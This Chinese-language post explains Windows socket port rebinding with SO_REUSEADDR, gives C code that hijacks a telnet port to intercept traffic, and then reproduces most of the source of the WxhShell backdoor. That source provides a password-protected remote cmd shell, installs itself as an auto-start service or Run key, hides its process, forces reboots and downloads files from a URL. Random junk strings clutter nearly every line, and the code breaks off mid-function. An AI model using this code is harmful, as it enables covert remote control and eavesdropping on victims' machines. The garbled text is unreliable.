在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p 4b6TI9; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
' 94HVag g|!=@9[dv saddr.sin_family = AF_INET;
~<osL h 'is#X 6: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SC2g5i` !A_KCM:Ym bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Yt4v}{+ a$6pA@7} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
a1weTn* 2Ju,P_<dt 这意味着什么?意味着可以进行如下的攻击:
OQT i$2 |C t Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hDEZq>& _'s5FlZq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:!,.c$M bHHR^*B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|'#uV)b0@ k_%maJkXp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;[Hrpl
S I]ol[
X0S 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Z?w=- 6r,zOs-I] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
WF<*rl a3(f\MMxE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
aK9zw ?T_hK #include
e?-LB #include
0 f"M-x #include
hM`*-+Zb #include
/M_kJe,% DWORD WINAPI ClientThread(LPVOID lpParam);
!E\J`K0_e int main()
m^,3jssdA {
H0mDs7 WORD wVersionRequested;
DZ|/#- k DWORD ret;
T}A{Xu*:+H WSADATA wsaData;
UIw6~a3E BOOL val;
HC ?XNR& SOCKADDR_IN saddr;
v#+tu,)V; SOCKADDR_IN scaddr;
.'N#qs_ int err;
= G3A} SOCKET s;
!GVxQll[f SOCKET sc;
C/pu]%n@4 int caddsize;
hn u/ HANDLE mt;
'~'3x4Bo DWORD tid;
OAz-w wVersionRequested = MAKEWORD( 2, 2 );
x68s$H err = WSAStartup( wVersionRequested, &wsaData );
}L*cP;m# if ( err != 0 ) {
,cFp5tV$ printf("error!WSAStartup failed!\n");
SYTzJK@vZJ return -1;
.](s\6' }
K?+Rq saddr.sin_family = AF_INET;
]7{-HuQ8>} \Tj(] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\<A@Nf" <$
Ar*<,6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-f:uNF]Ls saddr.sin_port = htons(23);
Q}jl1dIq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K<+h/Ok {
{z}OZHJN printf("error!socket failed!\n");
e: :H1V return -1;
x_5H_! \# }
FeFH_ val = TRUE;
,*Yu~4 //SO_REUSEADDR选项就是可以实现端口重绑定的
C,D~2G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ie?C<(8Ul {
6y9#am? printf("error!setsockopt failed!\n");
;=6~,k) return -1;
&6L{1 }
A3N<;OOk //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
bmO[9
)G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
p`JD8c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
wy$9QN f z8eL:i: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.gWYKZM
{
U.G** v ret=GetLastError();
(v8jVbg printf("error!bind failed!\n");
Ij }RlYQz return -1;
{e?D6`#x }
e;<=aa)}? listen(s,2);
l7P~_X_)" while(1)
#^v|u3^DD {
@DrMaTr caddsize = sizeof(scaddr);
tq^H) //接受连接请求
nrMm](Y45 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,!3G if(sc!=INVALID_SOCKET)
,r{\aW@ {
t3b%f`D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
oToUpkAI if(mt==NULL)
g#1_`gK {
;X !sTs printf("Thread Creat Failed!\n");
{ls$#a+d break;
Z!m0nx }
Z*QsDS }
?*a:f"vQ CloseHandle(mt);
=$IjN v(? }
^e>`ob closesocket(s);
0*q&) WSACleanup();
q7C>A`w return 0;
ayuj)]b }
jnX9] PkJ DWORD WINAPI ClientThread(LPVOID lpParam)
Qj?FUxw {
9Bl_t}0 SOCKET ss = (SOCKET)lpParam;
rm NqS+t SOCKET sc;
&CFHH"OsT unsigned char buf[4096];
x5k6yHn SOCKADDR_IN saddr;
#m6 eG&a long num;
jx&pRjP
DWORD val;
b}p 0&%I DWORD ret;
_pM&Ya //如果是隐藏端口应用的话,可以在此处加一些判断
2;NIUMAMM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"*WzoRA={ saddr.sin_family = AF_INET;
)%U&z>^P saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
wGE:U` saddr.sin_port = htons(23);
^S'}RZ*> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4,T!zT6& {
q3B#rje>h printf("error!socket failed!\n");
yw2^kk93| return -1;
P'GX-H }
;OQ{ val = 100;
HjV3PFg
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1"009/| {
]FvN*@lG ret = GetLastError();
q4PRc<\^ return -1;
J_OIU#-B }
eXWiTi@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/NaIMo5 {
{=j!2v#8~ ret = GetLastError();
aHe/MucK return -1;
/Ws@YP }
2GA6@-u\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&Jv j@,>$d {
%p)6m2Sb printf("error!socket connect failed!\n");
f2B?Zn closesocket(sc);
[s"3g\L'; closesocket(ss);
c%r?tKG6 return -1;
:f?\ mVS+ }
v{^_3
] while(1)
hV])\t=yf {
*r$Yv&c, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.a1WwI
//如果是嗅探内容的话,可以再此处进行内容分析和记录
snOd
3Bw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
MQY^#N num = recv(ss,buf,4096,0);
pHEhB9_A! if(num>0)
*fso6j#% send(sc,buf,num,0);
aErms-~ else if(num==0)
*+re2O)Eh' break;
KlDW'R$ num = recv(sc,buf,4096,0);
>xws if(num>0)
A1zM$
wDU send(ss,buf,num,0);
fDhV
*LqW else if(num==0)
N%%2!Z# break;
lcHwKd }
#ok1qT9_ closesocket(ss);
4=td}% closesocket(sc);
I4:4)V? return 0 ;
M.))UKSF }
0m$f9b|Q? I?LJXo \O OF&{mJH"g' ==========================================================
S:4'k^E W\:!v%C 下边附上一个代码,,WXhSHELL
"i_I<?aGB KSnU;B6w> ==========================================================
0B#9CxU% Y b\t0:_ #include "stdafx.h"
|1wfLJ4--l u9My.u@-*% #include <stdio.h>
=/Pmi_ #include <string.h>
: kz*.1 #include <windows.h>
gR}>q4b #include <winsock2.h>
*F0O*n*7W #include <winsvc.h>
a~E@scD #include <urlmon.h>
4$.$j=Ct." 0YK`wuZGS #pragma comment (lib, "Ws2_32.lib")
8+Sa$R #pragma comment (lib, "urlmon.lib")
@TF^6)4f |b"
h+ #define MAX_USER 100 // 最大客户端连接数
yW5/Y02 #define BUF_SOCK 200 // sock buffer
2(M^8Bl #define KEY_BUFF 255 // 输入 buffer
=<Q_&_.60 ,(&jG^IpVJ #define REBOOT 0 // 重启
Y|JC+Ee #define SHUTDOWN 1 // 关机
DT *'r; z-};.!L^ #define DEF_PORT 5000 // 监听端口
+TzZ
;^+# #define REG_LEN 16 // 注册表键长度
)c|S)iJ7=z #define SVC_LEN 80 // NT服务名长度
7{F(NJUO1 {p3VHd# // 从dll定义API
n[DQ5l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XRoMD6qf; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
vxuxfi8x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
rHe*/nN%* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pkTg.70wU :lf;CT6$ // wxhshell配置信息
Zx$q,Zo< struct WSCFG {
|]=. ^ int ws_port; // 监听端口
OS|uZ<"Rq3 char ws_passstr[REG_LEN]; // 口令
81?7u!=ic+ int ws_autoins; // 安装标记, 1=yes 0=no
4cZig\mE; char ws_regname[REG_LEN]; // 注册表键名
V.<$c1#=$ char ws_svcname[REG_LEN]; // 服务名
<3?T^/8 char ws_svcdisp[SVC_LEN]; // 服务显示名
+!_?f'kv` char ws_svcdesc[SVC_LEN]; // 服务描述信息
F:$Dz?F0v char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(EZ34,k'S int ws_downexe; // 下载执行标记, 1=yes 0=no
2hB';Dv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
IX/FKSuq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
p1}Y|m! _`RzPIS^ };
/rMxl(wD' 1X-Ku GaD // default Wxhshell configuration
/WIO@c struct WSCFG wscfg={DEF_PORT,
Eu%19s;u "xuhuanlingzhe",
+a'QHtg 1,
>Hh8K<@NL "Wxhshell",
"v.]s;g "Wxhshell",
oECM1'=Bf "WxhShell Service",
FN$hEc! "Wrsky Windows CmdShell Service",
_-NS-E "Please Input Your Password: ",
`b(y 5 Z 1,
9ICC2%j| "
http://www.wrsky.com/wxhshell.exe",
8 I'1~d%$ "Wxhshell.exe"
iU)-YFO };
= mnjIp 7Pt*V@DHS // 消息定义模块
#
SmM5% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%}z/_QZ char *msg_ws_prompt="\n\r? for help\n\r#>";
C=LXL1x2e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4fDo }~ char *msg_ws_ext="\n\rExit.";
>M` swEj char *msg_ws_end="\n\rQuit.";
,v"/3Ff{, char *msg_ws_boot="\n\rReboot...";
Lh=~3 char *msg_ws_poff="\n\rShutdown...";
pv;c<NQ'1 char *msg_ws_down="\n\rSave to ";
Z=: oIAe cz_4cMgxu char *msg_ws_err="\n\rErr!";
~"l
a2 char *msg_ws_ok="\n\rOK!";
my#qmI qa ![oMKc char ExeFile[MAX_PATH];
?KxI|os int nUser = 0;
0XlX7Sk+ HANDLE handles[MAX_USER];
-_jV.`t int OsIsNt;
$XS0:C0 c ;3bX6RD* SERVICE_STATUS serviceStatus;
UT[9ERS SERVICE_STATUS_HANDLE hServiceStatusHandle;
dRZor gar m[^;HwJ // 函数声明
K{VF_S: int Install(void);
!2x"'o int Uninstall(void);
*8p\.za1 int DownloadFile(char *sURL, SOCKET wsh);
;>=hQC{f> int Boot(int flag);
#e%.z+7I void HideProc(void);
'Rfvr7G/? int GetOsVer(void);
8Gb=aF1 int Wxhshell(SOCKET wsl);
gB3&AQ void TalkWithClient(void *cs);
Fm}O,= int CmdShell(SOCKET sock);
Xi5kE'_ int StartFromService(void);
}wR)p int StartWxhshell(LPSTR lpCmdLine);
f/)3b`$Wu |xzqYu?o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'OGOT0(
VOID WINAPI NTServiceHandler( DWORD fdwControl );
Y,D\_il_ Kw'Dzz%kN // 数据结构和表定义
7kn=j6I SERVICE_TABLE_ENTRY DispatchTable[] =
}jU{RR%6B {
c7\bA7. {wscfg.ws_svcname, NTServiceMain},
|~H'V4)zXu {NULL, NULL}
]_BG"IR!.. };
hZlajky VhSKtD1 // 自我安装
MC#bo{Bq3- int Install(void)
7k6rhf7H {
dab>@z4 char svExeFile[MAX_PATH];
pq5)Ug HKEY key;
lO,
2 strcpy(svExeFile,ExeFile);
|0f\>X I #Mbt%m // 如果是win9x系统,修改注册表设为自启动
W&06~dI1! if(!OsIsNt) {
Wr)%C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZJ=C[s!wu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kq%`9,XE RegCloseKey(key);
j{_MDE7N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oU~V0{7g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6%S>~L66 RegCloseKey(key);
}Tc)M_ return 0;
f `Wfw3 }
|P?8<8p }
ObM5v rEk| }
q=?"0i&V else {
3C,e>zE} McsqMI6 // 如果是NT以上系统,安装为系统服务
R&xD|w8UjM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%\b5)p if (schSCManager!=0)
[ z$J {
Olxb`x
SC_HANDLE schService = CreateService
*znCe(dd (
5h{Hf]A schSCManager,
M3z7P.\G wscfg.ws_svcname,
0>e>G (4(8 wscfg.ws_svcdisp,
*Mp<4B SERVICE_ALL_ACCESS,
SbI,9< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4|+
|L_ SERVICE_AUTO_START,
]`4QJ;# SERVICE_ERROR_NORMAL,
%ANPv = svExeFile,
t3s}U@(C NULL,
9hguC yr@h NULL,
Ck^= H NULL,
e1/|PgT(KM NULL,
s+CXKb + NULL
>y8Z{ALQ5 );
T8m%_U#b if (schService!=0)
AT9SD vJ {
1b!l+ 8! CloseServiceHandle(schService);
blPC"3}3Vd CloseServiceHandle(schSCManager);
#&5\1Qu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O0{v`|w9+ strcat(svExeFile,wscfg.ws_svcname);
cXCczqabv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:YI>AaYWDO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
AN1bfF:C RegCloseKey(key);
`fV$'u return 0;
P<(mH=K }
:|A db\b }
<?7~,#AK CloseServiceHandle(schSCManager);
He*L"VpWv }
$ta#]>{ }
)/pPY r 1a{Y8? return 1;
ZT8j9zs }
zF$wz1
% MtB:H*pM // 自我卸载
>k jJq]A2 int Uninstall(void)
7U7 i2 4 {
n%0vQ;Z1 HKEY key;
CKur$$B %jf gncW if(!OsIsNt) {
c8s/`esA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!Ch ya RegDeleteValue(key,wscfg.ws_regname);
xd.C&Dx5 RegCloseKey(key);
=>J#_Pprn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<KA@A} RegDeleteValue(key,wscfg.ws_regname);
<am7t[G." RegCloseKey(key);
9|m L return 0;
K7Vr$,p }
2fk }
"8]170 }
pk4&-iu9 else {
)1,&YJM*6l =R"tnjR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ATHz~a if (schSCManager!=0)
c%!wKoD {
B=r/(e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
q}i87a;m if (schService!=0)
l :"*]m7o_ {
n58jB:XR( if(DeleteService(schService)!=0) {
I2T2'_I CloseServiceHandle(schService);
{;/o4[jlg CloseServiceHandle(schSCManager);
co80M;4 return 0;
Zv\b`Cf} }
-*2X YTe CloseServiceHandle(schService);
XEEbmIO*<9 }
DeSTo9A}! CloseServiceHandle(schSCManager);
s`YuH <8 }
dFFqs&c Q }
L /> GYx WU\bJ} return 1;
&/F[kAy }
8|GpfW3p2 $ZO<8|bW // 从指定url下载文件
J.l%HU int DownloadFile(char *sURL, SOCKET wsh)
bn35f<+ {
a)Ek~{9 HRESULT hr;
| hM)e*" char seps[]= "/";
PEIr-qs%D char *token;
'4sD1LD~} char *file;
AUde_1hi char myURL[MAX_PATH];
xk8p,>/ char myFILE[MAX_PATH];
~7a BeD f :5/y^M& strcpy(myURL,sURL);
C>dJ:.K%H token=strtok(myURL,seps);
s=
fKAxH while(token!=NULL)
2v1&%x:y# {
Qu _T& file=token;
-RQQ|:O$ token=strtok(NULL,seps);
yZ$;O0f&& }
vP?S0>gh oJT@'{;*z GetCurrentDirectory(MAX_PATH,myFILE);
s[4!R&b strcat(myFILE, "\\");
z{L;)U B^ strcat(myFILE, file);
y03a\K5[KQ send(wsh,myFILE,strlen(myFILE),0);
{~g send(wsh,"...",3,0);
,{*fOpn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_PXo'*j if(hr==S_OK)
ZMg9Qt return 0;
F|`B2Gr else
F$p*G][ return 1;
!!%nl_I( no6]{qn=6 }
Jjh!/pWZ4 e*6` dz@ // 系统电源模块
f+Li'? int Boot(int flag)
an[~%vxw} {
d|+jCTKS HANDLE hToken;
3#9r4;& TOKEN_PRIVILEGES tkp;
l]y%cJ~$'D *"{Z?< 3 if(OsIsNt) {
Sc3M#qm_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Z*)Y:tk)b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6FIoWG"x tkp.PrivilegeCount = 1;
(G%gVk] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@<yc .> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V?dK *8s if(flag==REBOOT) {
[HiTR !o* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
xWe1F2nY return 0;
OrJlHMz }
D)7$M]d% else {
^_h7!=W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
AaC1||?R return 0;
L{%a4Ip }
aC
Lg~g4 }
#33RhJu5, else {
a{Hb7& if(flag==REBOOT) {
b<V./rWIB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
r5da/*G/O return 0;
9AddF*B }
o``>sBZOq else {
\ j X N*A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
SLjf<.S return 0;
x`6^+>y^ }
JrWBcp:Y }
"~2#!bK7 a(DZGQ-as
return 1;
/j69NEl }
ck_fEF $gl<{{ // win9x进程隐藏模块
D<3V#Opw void HideProc(void)
T\
}v$A03 {
._MAHBx+G PWN'.HQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
SM#S/|.] if ( hKernel != NULL )
XZdr`$z f {
zP h\3B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Q$h:[_v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
PSf5p\<5 FreeLibrary(hKernel);
'bI ~61{A }
d:<H?~ 87pXv6'FQ return;
4,F3@m:< }
vuo'"^ =p0 y-\A@jJC5 // 获取操作系统版本
9ze| s^ int GetOsVer(void)
mhi90J c {
lHKf#| OSVERSIONINFO winfo;
0+<eRR9- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d=Df.H+3 GetVersionEx(&winfo);
0oj{e9h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,c%K)KuPK. return 1;
A6NxM8ybn+ else
;w6fM return 0;
7{An@hNh }
%`?;V;{= a\{1UD // 客户端句柄模块
^K.u
~p int Wxhshell(SOCKET wsl)
&`yOIX-H_ {
5`E`Kb+@ SOCKET wsh;
H\| ]!8w5Z struct sockaddr_in client;
\/*Nf?; DWORD myID;
'cAc{\) sCF40AoY& while(nUser<MAX_USER)
;;?vgrz {
.5Knb c int nSize=sizeof(client);
AUxM)H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|/;U)M if(wsh==INVALID_SOCKET) return 1;
Lvi[*une| -*|:v67C& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xEVLE,*?> if(handles[nUser]==0)
#`La|a.- closesocket(wsh);
=9pw uH else
!.3R~0b nUser++;
Il{^
j6 }
Z6Nj<2u2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.73zik &:c:9w return 0;
gwSN>oj
& }
$T?*0"Mj[ 3ar=1_Ar // 关闭 socket
2'wr={>W void CloseIt(SOCKET wsh)
ge0's+E+1 {
=n-z;/NL closesocket(wsh);
)?w&oIj5 nUser--;
e=t<H"& ExitThread(0);
4K9Rpm }
.3VK;au\\ ~->Hlxze'K // 客户端请求句柄
{r={#mO;p void TalkWithClient(void *cs)
iOT)0@f' {
lDW!Fg [N)#/6j SOCKET wsh=(SOCKET)cs;
UvkJ?Bu char pwd[SVC_LEN];
ajn-KG!A char cmd[KEY_BUFF];
5kcJ char chr[1];
\bhOPK>w int i,j;
:GQUM 6 [tUv*jw % while (nUser < MAX_USER) {
*FV0Vy mZwi7s&u if(wscfg.ws_passstr) {
Zta$R,[9h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JE0?@PI$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YgCc|W3{ //ZeroMemory(pwd,KEY_BUFF);
~&1KrUu& i=0;
[ S5bj]D while(i<SVC_LEN) {
VS?dvZ1cC jOs
H2^ // 设置超时
UL+E,= fd_set FdRead;
],n%Xp struct timeval TimeOut;
\}Dpb%^\ FD_ZERO(&FdRead);
Vo%Yf9C FD_SET(wsh,&FdRead);
2s 7mI' TimeOut.tv_sec=8;
v"rl5x TimeOut.tv_usec=0;
yI8 SQ$w0y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qgtn5]A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[4p=X=B [FGgkd} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zLP],wB pwd
=chr[0]; _z q)0\
if(chr[0]==0xd || chr[0]==0xa) { Y)|~:& tZ
pwd=0; 8Jr1_a
break; gI)u}JX
} c15r':.5
i++; [[w2p
} 6*Zj]is
gQy~kctQ#
// 如果是非法用户,关闭 socket H)E^!eo
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x=.tiM {#
} [B,'=,Hbs
nTs/Q V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =`-|&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RX'-99M
z>G;(F2
while(1) { 3[r";Wt#
r'p =`2=
ZeroMemory(cmd,KEY_BUFF); &1_U1
}p=g*Zo*C;
// 自动支持客户端 telnet标准 H-(q#?:
j=0; ' sey D
while(j<KEY_BUFF) { g` [` P@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kh3<V'k]
cmd[j]=chr[0]; SauH>
if(chr[0]==0xa || chr[0]==0xd) { cD2+hp|9
cmd[j]=0; T1W:>~T5#
break; y])).p P
} \0ov[T N.>
j++; P]Xbjs<p
} G`F8!O(
VYaSB?`/
// 下载文件 <'+ %\
if(strstr(cmd,"http://")) { ` H
XEZ|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); rQJ"&CapT
if(DownloadFile(cmd,wsh)) W8]V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}rS{+:wK
else ? gSSli[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y % Ieg.o
} /syVGmS'M
else { `ZMK9f:
0/ !,Dn
switch(cmd[0]) { x6;j<m5Mjx
3F+Jdr'
// 帮助 $*\L4<(
case '?': { .VM3D0aV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jQ=~g-y
break; I%"'*7U
} l?8)6z#Zl
// 安装 a}gkT]
case 'i': { v+=k-;-
if(Install()) r?A|d.Tl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?D|\]0 eN
else ]|U-y645
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .A6lj).:
break; 9o0!m Cq
} >MG(qi
// 卸载 XIAeCU
case 'r': { LA%bq_>f
if(Uninstall()) l!
v!hUb+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W3rl^M=r
else .lN s4e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2p!"p`b~
break; wO.iKX;
} qAY%nA>jO
// 显示 wxhshell 所在路径 ?LaUed'
case 'p': { *7$P]
char svExeFile[MAX_PATH]; P"3*lk+w
strcpy(svExeFile,"\n\r"); 7N=-Y>$X
strcat(svExeFile,ExeFile); +4qU>
send(wsh,svExeFile,strlen(svExeFile),0); =f1B,%7G+5
break; "TS
} $uj(G7_
// 重启 PdeBDFWD
case 'b': { =ll=)"O
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vj?DA5W`'
if(Boot(REBOOT)) 5x8+xw3Eh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D@oCP =m<
else { en*d/>OVJ
closesocket(wsh); k`{7}zxS
ExitThread(0); NbRn*nb/T
} 9`Q<Yy"du
break; d3;qsUh$yv
} uz30_aH
// 关机 G?c-79]U
case 'd': { gI]GUD-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w5=tlb
if(Boot(SHUTDOWN)) 8,"yNq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3 0s_\
else { I5m][~6.?
closesocket(wsh); eqAW+Ptx
ExitThread(0); zj{r^D$
} !g!5_|
break; .;7> y7$*
} 9W ^xlid6
// 获取shell gJ$K\[+
case 's': { _aWl]I){5
CmdShell(wsh); LE6.nmvS
closesocket(wsh); 5Por "&%
ExitThread(0); {'En\e
break; Z3TS,a1I4
} p>v U?eF
// 退出 ?:{sH#ua
case 'x': { PQN@JaD
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7nq3S
CloseIt(wsh); K14^JAdY/
break; [BBEEI=|r
} DV)3
// 离开 wIB`%V
case 'q': { J(4"S o_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5{e,L>H<
closesocket(wsh); gKz(=
WSACleanup(); %UUH"
exit(1); XW{>-PBg:
break; fA/m1bYxg
} $$APgj"|<
} [u}(57DS
} b$%0.s
j>uj=B@
// 提示信息 <@wj7\pQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j>Iaq"
} >_OYhgs1w
} tE6!+c<7
;Gx)Noo/>
return; 8r"+bhGx~
} o8e?J\?
I&n
// shell模块句柄 4P^6oh0"
int CmdShell(SOCKET sock) 98=wnWX6$
{ v>z tB,,9
STARTUPINFO si; 2(5ebe[
ZeroMemory(&si,sizeof(si));
rc&%m
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JSh.]j<bJL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T91moRv
PROCESS_INFORMATION ProcessInfo; sf&]u;^DY
char cmdline[]="cmd"; .ERO|$fv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "&Po,AWa
return 0; *5 w{8
} uqz]J$
{*{Ox[Nh{
// 自身启动模式 iq(
)8nxi
int StartFromService(void) U9b?i$
{ ODZ|bN0>
typedef struct V#VN%{
{ dy_:-2S
DWORD ExitStatus; %v20~xW:o
DWORD PebBaseAddress; F:x [
DWORD AffinityMask; H"A7Zo
DWORD BasePriority; Eke5Nb
